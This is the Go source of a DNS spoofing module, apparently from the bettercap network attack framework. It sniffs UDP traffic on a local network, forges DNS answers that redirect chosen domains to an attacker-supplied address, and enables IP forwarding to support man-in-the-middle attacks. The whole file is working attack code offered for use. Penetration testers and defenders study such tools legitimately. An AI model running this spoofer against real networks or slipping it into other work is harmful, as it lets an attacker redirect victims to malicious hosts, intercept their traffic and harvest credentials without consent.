dns_spoof.go 7.9 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332
  1. package dns_spoof
  2. import (
  3. "bytes"
  4. "fmt"
  5. "net"
  6. "strconv"
  7. "sync"
  8. "github.com/bettercap/bettercap/log"
  9. "github.com/bettercap/bettercap/network"
  10. "github.com/bettercap/bettercap/packets"
  11. "github.com/bettercap/bettercap/session"
  12. "github.com/google/gopacket"
  13. "github.com/google/gopacket/layers"
  14. "github.com/google/gopacket/pcap"
  15. "github.com/evilsocket/islazy/tui"
  16. )
  17. type DNSSpoofer struct {
  18. session.SessionModule
  19. Handle *pcap.Handle
  20. Hosts Hosts
  21. TTL uint32
  22. All bool
  23. waitGroup *sync.WaitGroup
  24. pktSourceChan chan gopacket.Packet
  25. }
  26. func NewDNSSpoofer(s *session.Session) *DNSSpoofer {
  27. mod := &DNSSpoofer{
  28. SessionModule: session.NewSessionModule("dns.spoof", s),
  29. Handle: nil,
  30. All: false,
  31. Hosts: Hosts{},
  32. TTL: 1024,
  33. waitGroup: &sync.WaitGroup{},
  34. }
  35. mod.SessionModule.Requires("net.recon")
  36. mod.AddParam(session.NewStringParameter("dns.spoof.hosts",
  37. "",
  38. "",
  39. "If not empty, this hosts file will be used to map domains to IP addresses."))
  40. mod.AddParam(session.NewStringParameter("dns.spoof.domains",
  41. "",
  42. "",
  43. "Comma separated values of domain names to spoof."))
  44. mod.AddParam(session.NewStringParameter("dns.spoof.address",
  45. session.ParamIfaceAddress,
  46. session.IPv4Validator,
  47. "IP address to map the domains to."))
  48. mod.AddParam(session.NewBoolParameter("dns.spoof.all",
  49. "false",
  50. "If true the module will reply to every DNS request, otherwise it will only reply to the one targeting the local pc."))
  51. mod.AddParam(session.NewStringParameter("dns.spoof.ttl",
  52. "1024",
  53. "^[0-9]+$",
  54. "TTL of spoofed DNS replies."))
  55. mod.AddHandler(session.NewModuleHandler("dns.spoof on", "",
  56. "Start the DNS spoofer in the background.",
  57. func(args []string) error {
  58. return mod.Start()
  59. }))
  60. mod.AddHandler(session.NewModuleHandler("dns.spoof off", "",
  61. "Stop the DNS spoofer in the background.",
  62. func(args []string) error {
  63. return mod.Stop()
  64. }))
  65. return mod
  66. }
  67. func (mod DNSSpoofer) Name() string {
  68. return "dns.spoof"
  69. }
  70. func (mod DNSSpoofer) Description() string {
  71. return "Replies to DNS messages with spoofed responses."
  72. }
  73. func (mod DNSSpoofer) Author() string {
  74. return "Simone Margaritelli <evilsocket@gmail.com>"
  75. }
  76. func (mod *DNSSpoofer) Configure() error {
  77. var err error
  78. var ttl string
  79. var hostsFile string
  80. var domains []string
  81. var address net.IP
  82. if mod.Running() {
  83. return session.ErrAlreadyStarted(mod.Name())
  84. } else if mod.Handle, err = network.Capture(mod.Session.Interface.Name()); err != nil {
  85. return err
  86. } else if err = mod.Handle.SetBPFFilter("udp"); err != nil {
  87. return err
  88. } else if err, mod.All = mod.BoolParam("dns.spoof.all"); err != nil {
  89. return err
  90. } else if err, address = mod.IPParam("dns.spoof.address"); err != nil {
  91. return err
  92. } else if err, domains = mod.ListParam("dns.spoof.domains"); err != nil {
  93. return err
  94. } else if err, hostsFile = mod.StringParam("dns.spoof.hosts"); err != nil {
  95. return err
  96. } else if err, ttl = mod.StringParam("dns.spoof.ttl"); err != nil {
  97. return err
  98. }
  99. mod.Hosts = Hosts{}
  100. for _, domain := range domains {
  101. mod.Hosts = append(mod.Hosts, NewHostEntry(domain, address))
  102. }
  103. if hostsFile != "" {
  104. mod.Info("loading hosts from file %s ...", hostsFile)
  105. if err, hosts := HostsFromFile(hostsFile, address); err != nil {
  106. return fmt.Errorf("error reading hosts from file %s: %v", hostsFile, err)
  107. } else {
  108. mod.Hosts = append(mod.Hosts, hosts...)
  109. }
  110. }
  111. if len(mod.Hosts) == 0 {
  112. return fmt.Errorf("at least dns.spoof.hosts or dns.spoof.domains must be filled")
  113. }
  114. for _, entry := range mod.Hosts {
  115. mod.Info("%s -> %s", entry.Host, entry.Address)
  116. }
  117. if !mod.Session.Firewall.IsForwardingEnabled() {
  118. mod.Info("enabling forwarding.")
  119. mod.Session.Firewall.EnableForwarding(true)
  120. }
  121. _ttl, _ := strconv.Atoi(ttl)
  122. mod.TTL = uint32(_ttl)
  123. return nil
  124. }
  125. func DnsReply(s *session.Session, TTL uint32, pkt gopacket.Packet, peth *layers.Ethernet, pudp *layers.UDP, domain string, address net.IP, req *layers.DNS, target net.HardwareAddr) (string, string) {
  126. redir := fmt.Sprintf("(->%s)", address.String())
  127. who := target.String()
  128. if t, found := s.Lan.Get(target.String()); found {
  129. who = t.String()
  130. }
  131. var err error
  132. var src, dst net.IP
  133. nlayer := pkt.NetworkLayer()
  134. if nlayer == nil {
  135. log.Debug("missing network layer skipping packet.")
  136. return "", ""
  137. }
  138. var eType layers.EthernetType
  139. var ipv6 bool
  140. if nlayer.LayerType() == layers.LayerTypeIPv4 {
  141. pip := pkt.Layer(layers.LayerTypeIPv4).(*layers.IPv4)
  142. src = pip.DstIP
  143. dst = pip.SrcIP
  144. ipv6 = false
  145. eType = layers.EthernetTypeIPv4
  146. } else {
  147. pip := pkt.Layer(layers.LayerTypeIPv6).(*layers.IPv6)
  148. src = pip.DstIP
  149. dst = pip.SrcIP
  150. ipv6 = true
  151. eType = layers.EthernetTypeIPv6
  152. }
  153. eth := layers.Ethernet{
  154. SrcMAC: peth.DstMAC,
  155. DstMAC: target,
  156. EthernetType: eType,
  157. }
  158. answers := make([]layers.DNSResourceRecord, 0)
  159. for _, q := range req.Questions {
  160. // do not include types we can't handle and that are not needed
  161. // for successful spoofing anyway
  162. // ref: https://github.com/bettercap/bettercap/issues/843
  163. if q.Type.String() == "Unknown" {
  164. continue
  165. }
  166. answers = append(answers,
  167. layers.DNSResourceRecord{
  168. Name: []byte(q.Name),
  169. Type: q.Type,
  170. Class: q.Class,
  171. TTL: TTL,
  172. IP: address,
  173. })
  174. }
  175. dns := layers.DNS{
  176. ID: req.ID,
  177. QR: true,
  178. OpCode: layers.DNSOpCodeQuery,
  179. QDCount: req.QDCount,
  180. Questions: req.Questions,
  181. Answers: answers,
  182. }
  183. var raw []byte
  184. if ipv6 {
  185. ip6 := layers.IPv6{
  186. Version: 6,
  187. NextHeader: layers.IPProtocolUDP,
  188. HopLimit: 64,
  189. SrcIP: src,
  190. DstIP: dst,
  191. }
  192. udp := layers.UDP{
  193. SrcPort: pudp.DstPort,
  194. DstPort: pudp.SrcPort,
  195. }
  196. udp.SetNetworkLayerForChecksum(&ip6)
  197. err, raw = packets.Serialize(&eth, &ip6, &udp, &dns)
  198. if err != nil {
  199. log.Error("error serializing ipv6 packet: %s.", err)
  200. return "", ""
  201. }
  202. } else {
  203. ip4 := layers.IPv4{
  204. Protocol: layers.IPProtocolUDP,
  205. Version: 4,
  206. TTL: 64,
  207. SrcIP: src,
  208. DstIP: dst,
  209. }
  210. udp := layers.UDP{
  211. SrcPort: pudp.DstPort,
  212. DstPort: pudp.SrcPort,
  213. }
  214. udp.SetNetworkLayerForChecksum(&ip4)
  215. err, raw = packets.Serialize(&eth, &ip4, &udp, &dns)
  216. if err != nil {
  217. log.Error("error serializing ipv4 packet: %s.", err)
  218. return "", ""
  219. }
  220. }
  221. log.Debug("sending %d bytes of packet ...", len(raw))
  222. if err := s.Queue.Send(raw); err != nil {
  223. log.Error("error sending packet: %s", err)
  224. return "", ""
  225. }
  226. return redir, who
  227. }
  228. func (mod *DNSSpoofer) onPacket(pkt gopacket.Packet) {
  229. typeEth := pkt.Layer(layers.LayerTypeEthernet)
  230. typeUDP := pkt.Layer(layers.LayerTypeUDP)
  231. if typeEth == nil || typeUDP == nil {
  232. return
  233. }
  234. eth := typeEth.(*layers.Ethernet)
  235. if mod.All || bytes.Equal(eth.DstMAC, mod.Session.Interface.HW) {
  236. dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS)
  237. if parsed && dns.OpCode == layers.DNSOpCodeQuery && len(dns.Questions) > 0 && len(dns.Answers) == 0 {
  238. udp := typeUDP.(*layers.UDP)
  239. for _, q := range dns.Questions {
  240. qName := string(q.Name)
  241. if address := mod.Hosts.Resolve(qName); address != nil {
  242. redir, who := DnsReply(mod.Session, mod.TTL, pkt, eth, udp, qName, address, dns, eth.SrcMAC)
  243. if redir != "" && who != "" {
  244. mod.Info("sending spoofed DNS reply for %s %s to %s.", tui.Red(qName), tui.Dim(redir), tui.Bold(who))
  245. }
  246. break
  247. } else {
  248. mod.Debug("skipping domain %s", qName)
  249. }
  250. }
  251. }
  252. }
  253. }
  254. func (mod *DNSSpoofer) Start() error {
  255. if err := mod.Configure(); err != nil {
  256. return err
  257. }
  258. return mod.SetRunning(true, func() {
  259. mod.waitGroup.Add(1)
  260. defer mod.waitGroup.Done()
  261. src := gopacket.NewPacketSource(mod.Handle, mod.Handle.LinkType())
  262. mod.pktSourceChan = src.Packets()
  263. for packet := range mod.pktSourceChan {
  264. if !mod.Running() {
  265. break
  266. }
  267. mod.onPacket(packet)
  268. }
  269. })
  270. }
  271. func (mod *DNSSpoofer) Stop() error {
  272. return mod.SetRunning(false, func() {
  273. mod.pktSourceChan <- nil
  274. mod.Handle.Close()
  275. mod.waitGroup.Wait()
  276. })
  277. }